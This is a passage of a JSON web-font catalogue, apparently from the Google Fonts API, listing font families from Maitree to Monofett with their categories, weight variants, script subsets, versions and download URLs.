        "700": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklmWJWJGovLdh6OE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Major Mono Display",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/majormonodisplay/v4/RWmVoLyb5fEqtsfBX9PDZIGr2tFubRhLCn2QIndPww.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mako",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mako/v11/H4coBX6Mmc_Z0ST09g478Lo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mali",
      "category": "handwriting",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QOLlKlRaJdbWgdY.ttf",
        "200italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8wlVQIfTTkdbJYA.ttf",
        "300": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QIbmKlRaJdbWgdY.ttf",
        "300italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8plZQIfTTkdbJYA.ttf",
        "regular": "http://fonts.gstatic.com/s/mali/v3/N0ba2SRONuN4eCrODlxxOd8.ttf",
        "italic": "http://fonts.gstatic.com/s/mali/v3/N0bU2SRONuN4SCjECn50Kd_PmA.ttf",
        "500": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QN7nKlRaJdbWgdY.ttf",
        "500italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8_ldQIfTTkdbJYA.ttf",
        "600": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QPLgKlRaJdbWgdY.ttf",
        "600italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj80lBQIfTTkdbJYA.ttf",
        "700": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QJbhKlRaJdbWgdY.ttf",
        "700italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8tlFQIfTTkdbJYA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mallanna",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mallanna/v7/hv-Vlzx-KEQb84YaDGwzEzRwVvJ-.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mandali",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mandali/v8/LhWlMVbYOfASNfNUVFk1ZPdcKtA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Manjari",
      "category": "sans-serif",
      "variants": [
        "100",
        "regular",
        "700"
      ],
      "subsets": [
        "malayalam",
        "latin"
      ],
      "version": "v2",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/manjari/v2/k3kSo8UPMOBO2w1UdbroK2vFIaOV8A.ttf",
        "regular": "http://fonts.gstatic.com/s/manjari/v2/k3kQo8UPMOBO2w1UTd7iL0nAMaM.ttf",
        "700": "http://fonts.gstatic.com/s/manjari/v2/k3kVo8UPMOBO2w1UdWLNC0HrLaqM6Q4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mansalva",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mansalva/v1/aWB4m0aacbtDfvq5NJllI47vdyBg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Manuale",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "italic",
        "500italic",
        "600italic",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHke7wD1TB_JHHY.ttf",
        "500": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHWe7wD1TB_JHHY.ttf",
        "600": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeE6fLwD1TB_JHHY.ttf",
        "700": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeEDfLwD1TB_JHHY.ttf",
        "italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOFRA3zRdIWHYr8M.ttf",
        "500italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOGZA3zRdIWHYr8M.ttf",
        "600italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOIpH3zRdIWHYr8M.ttf",
        "700italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOLNH3zRdIWHYr8M.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Marcellus",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/marcellus/v7/wEO_EBrOk8hQLDvIAF8FUfAL3EsHiA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Marcellus SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/marcellussc/v7/ke8iOgUHP1dg-Rmi6RWjbLEPgdydGKikhA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Marck Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/marckscript/v10/nwpTtK2oNgBA3Or78gapdwuCzyI-aMPF7Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Margarine",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/margarine/v8/qkBXXvoE6trLT9Y7YLye5JRLkAXbMQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Markazi Text",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtfSQT4MlBekmJLo.ttf",
        "500": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtcaQT4MlBekmJLo.ttf",
        "600": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtSqXT4MlBekmJLo.ttf",
        "700": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtROXT4MlBekmJLo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Marko One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/markoone/v9/9Btq3DFG0cnVM5lw1haaKpUfrHPzUw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Marmelad",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/marmelad/v9/Qw3eZQdSHj_jK2e-8tFLG-YMC0R8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Martel",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "200": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVqekahRbX9vnDzw.ttf",
        "300": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVzeoahRbX9vnDzw.ttf",
        "regular": "http://fonts.gstatic.com/s/martel/v4/PN_xRfK9oXHga0XtYcI-jT3L_w.ttf",
        "600": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVuewahRbX9vnDzw.ttf",
        "700": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XV3e0ahRbX9vnDzw.ttf",
        "800": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVwe4ahRbX9vnDzw.ttf",
        "900": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XV5e8ahRbX9vnDzw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Martel Sans",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hAX5suHFUknqMxQ.ttf",
        "300": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBz5cuHFUknqMxQ.ttf",
        "regular": "http://fonts.gstatic.com/s/martelsans/v6/h0GsssGi7VdzDgKjM-4d8ijfze-PPlUu.ttf",
        "600": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hAH48uHFUknqMxQ.ttf",
        "700": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBj4suHFUknqMxQ.ttf",
        "800": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hB_4cuHFUknqMxQ.ttf",
        "900": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBb4MuHFUknqMxQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Marvel",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/marvel/v9/nwpVtKeoNgBV0qaIkV7ED366zg.ttf",
        "italic": "http://fonts.gstatic.com/s/marvel/v9/nwpXtKeoNgBV0qa4k1TALXuqzhA7.ttf",
        "700": "http://fonts.gstatic.com/s/marvel/v9/nwpWtKeoNgBV0qawLXHgB1WmxwkiYQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/marvel/v9/nwpQtKeoNgBV0qa4k2x8Al-i5QwyYdrc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mate",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mate/v8/m8JdjftRd7WZ2z28WoXSaLU.ttf",
        "italic": "http://fonts.gstatic.com/s/mate/v8/m8JTjftRd7WZ6z-2XqfXeLVdbw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mate SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/matesc/v8/-nF8OGQ1-uoVr2wKyiXZ95OkJwA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Maven Pro",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v20",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8SX25nCpozp5GvU.ttf",
        "500": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Rf25nCpozp5GvU.ttf",
        "600": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8fvx5nCpozp5GvU.ttf",
        "700": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8cLx5nCpozp5GvU.ttf",
        "800": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8aXx5nCpozp5GvU.ttf",
        "900": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Yzx5nCpozp5GvU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "McLaren",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mclaren/v7/2EbnL-ZuAXFqZFXISYYf8z2Yt_c.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Meddon",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/meddon/v12/kmK8ZqA2EgDNeHTZhBdB3y_Aow.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "MedievalSharp",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/medievalsharp/v12/EvOJzAlL3oU5AQl2mP5KdgptAq96MwvXLDk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Medula One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/medulaone/v9/YA9Wr0qb5kjJM6l2V0yukiEqs7GtlvY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Meera Inimai",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "tamil",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/meerainimai/v4/845fNMM5EIqOW5MPuvO3ILep_2jDVevnLQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Megrim",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/megrim/v10/46kulbz5WjvLqJZlbWXgd0RY1g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Meie Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/meiescript/v7/_LOImzDK7erRjhunIspaMjxn5IXg0WDz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Merienda",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/merienda/v8/gNMHW3x8Qoy5_mf8uVMCOou6_dvg.ttf",
        "700": "http://fonts.gstatic.com/s/merienda/v8/gNMAW3x8Qoy5_mf8uWu-Fa-y1sfpPES4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Merienda One",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/meriendaone/v10/H4cgBXaMndbflEq6kyZ1ht6YgoyyYzFzFw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Merriweather",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v21",
      "lastModified": "2019-07-22",
      "files": {
        "300": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l521wRpX837pvjxPA.ttf",
        "300italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR7lXcf_hP3hPGWH.ttf",
        "regular": "http://fonts.gstatic.com/s/merriweather/v21/u-440qyriQwlOrhSvowK_l5OeyxNV-bnrw.ttf",
        "italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4m0qyriQwlOrhSvowK_l5-eSZJdeP3r-Ho.ttf",
        "700": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52xwNpX837pvjxPA.ttf",
        "700italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR71Wsf_hP3hPGWH.ttf",
        "900": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52_wFpX837pvjxPA.ttf",
        "900italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR7NWMf_hP3hPGWH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Merriweather Sans",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1eYBDD2BdWzIqY.ttf",
        "300italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXwepzB0hN0yZqYcqw.ttf",
        "regular": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c99IRs1JiJN1FRAMjTN5zd9vgsFEXySDTL8wtf.ttf",
        "italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c79IRs1JiJN1FRAMjTN5zd9vgsFHXwQjDp9htf1ZM.ttf",
        "700": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1OZxDD2BdWzIqY.ttf",
        "700italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXweozG0hN0yZqYcqw.ttf",
        "800": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1SZBDD2BdWzIqY.ttf",
        "800italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXwepDF0hN0yZqYcqw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Metal",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/metal/v12/lW-wwjUJIXTo7i3nnoQAUdN2.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Metal Mania",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/metalmania/v9/RWmMoKWb4e8kqMfBUdPFJeXCg6UKDXlq.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Metamorphous",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/metamorphous/v10/Wnz8HA03aAXcC39ZEX5y1330PCCthTsmaQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Metrophobic",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/metrophobic/v13/sJoA3LZUhMSAPV_u0qwiAT-J737FPEEL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Michroma",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/michroma/v10/PN_zRfy9qWD8fEagAMg6rzjb_-Da.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Milonga",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/milonga/v7/SZc53FHnIaK9W5kffz3GkUrS8DI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Miltonian",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/miltonian/v13/zOL-4pbPn6Ne9JqTg9mr6e5As-FeiQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Miltonian Tattoo",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v15",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/miltoniantattoo/v15/EvOUzBRL0o0kCxF-lcMCQxlpVsA_FwP8MDBku-s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mina",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "bengali",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mina/v3/-nFzOGc18vARrz9j7i3y65o.ttf",
        "700": "http://fonts.gstatic.com/s/mina/v3/-nF8OGc18vARl4NMyiXZ95OkJwA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Miniver",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/miniver/v8/eLGcP-PxIg-5H0vC770Cy8r8fWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Miriam Libre",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/miriamlibre/v6/DdTh798HsHwubBAqfkcBTL_vYJn_Teun9g.ttf",
        "700": "http://fonts.gstatic.com/s/miriamlibre/v6/DdT-798HsHwubBAqfkcBTL_X3LbbRcC7_-Z7Hg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mirza",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mirza/v7/co3ImWlikiN5EurdKMewsrvI.ttf",
        "500": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtIpAeO4mafBomDi.ttf",
        "600": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtIFBuO4mafBomDi.ttf",
        "700": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtJhB-O4mafBomDi.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Miss Fajardose",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/missfajardose/v9/E21-_dn5gvrawDdPFVl-N0Ajb8qvWPaJq4no.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mitr",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8fMZFJDUc1NECPY.ttf",
        "300": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8ZcaFJDUc1NECPY.ttf",
        "regular": "http://fonts.gstatic.com/s/mitr/v5/pxiLypw5ucZFyTsyMJj_b1o.ttf",
        "500": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8c8bFJDUc1NECPY.ttf",
        "600": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8eMcFJDUc1NECPY.ttf",
        "700": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8YcdFJDUc1NECPY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Modak",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/modak/v5/EJRYQgs1XtIEsnMH8BVZ76KU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Modern Antiqua",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/modernantiqua/v9/NGStv5TIAUg6Iq_RLNo_2dp1sI1Ea2u0c3Gi.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Mogra",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/mogra/v6/f0X40eSs8c95TBo4DvLmxtnG.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Molengo",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/molengo/v10/I_uuMpWeuBzZNBtQbbRQkiCvs5Y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Molle",
      "category": "handwriting",
      "variants": [
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "italic": "http://fonts.gstatic.com/s/molle/v8/E21n_dL5hOXFhWEsXzgmVydREus.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Monda",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/monda/v9/TK3tWkYFABsmjvpmNBsLvPdG.ttf",
        "700": "http://fonts.gstatic.com/s/monda/v9/TK3gWkYFABsmjsLaGz8Dl-tPKo2t.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Monofett",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
